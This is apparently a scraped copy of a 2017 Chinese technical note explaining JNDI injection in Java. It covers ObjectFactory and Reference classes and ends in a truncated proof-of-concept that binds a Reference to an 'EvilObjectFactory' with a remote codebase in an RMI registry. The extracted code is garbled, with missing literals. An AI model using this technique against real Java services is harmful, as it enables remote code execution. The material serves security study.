jndi注入作者未知.pdfVIP



【技术】关于JNDI注入

阅读量95914|

：2017-10-1811:07:35

前言

一篇炒冷饭的文章，全当笔记在写了，这个涉及到JNDI与RMI。这里我主要只写一些其他的“JNDI注入”分析文章没写过的东西，如果你看的不是很明白的话可以配合其他人写的分析文章一起看。

需要知道的背景知识

JNDI的概念不细写了，只需要知道我们通过JNDI的接口就可以存取RMIRegistry/LDAP/DNS/NIS等所谓NamingService或DirectoryService的内容

JNDIAPI中涉及到的常见的方法与接口的作用，如：Context.lookup

JNDI中ServiceProvider以及ObjectFactory的作用

Reference类的作用

RMI的相关基础知识，可以看我另一篇，我记的非常全。

JNDIServiceProvider

JNDI与JNDIServiceProvider的关系类似于Windows中SSPI与SSP的关系。前者是统一抽象出来的接口，而后者是对接口的具体实现。如上面提到的默认的JNDIServiceProvider有RMI/LDAP等等。。

ObjectFactory

每一个ServiceProvider可能配有多个ObjectFactory。ObjectFactory用于将NamingService（如RMI/LDAP）中的数据转换为Java中可表达的数据，如Java中的对象或Java中的基本数据类型。JNDI的

2

注入的问题就出在了可自定义的ObjectFactory类上。你如果有的话可以完整看一下ServiceProvider是如何与多个ObjectFactory进行交互的。

PoC

publicstaticvoidmain(String[]args)throwception

{

//在本机1999端口开启rmiregistry，可以通过JNDIAPI来此rmiregistry

Registryregistry=LocateRegistry.createRegistry(1999);

//创建一个Reference，第一个参数无所谓，第二个参数指定ObjectFactory的类名：

//jndiinj.EvilObjectFactory

//第三个参数是codebase，表明如果客户端在classpath里面找不到

//jndiinj.EvilObjectFactory，则去

//当然利用的时候这里应该是一个真正的codebase的地址

Referenceref=newReference(whatever,

jndiinj.EvilObjectFactory,);

//利用ReferenceWrapper将前面的Reference对象包装一下

//因为只为只有实现Remote接口的对象才能绑定到rmiregistry里面去

ReferenceWrapperwrapper=newRefere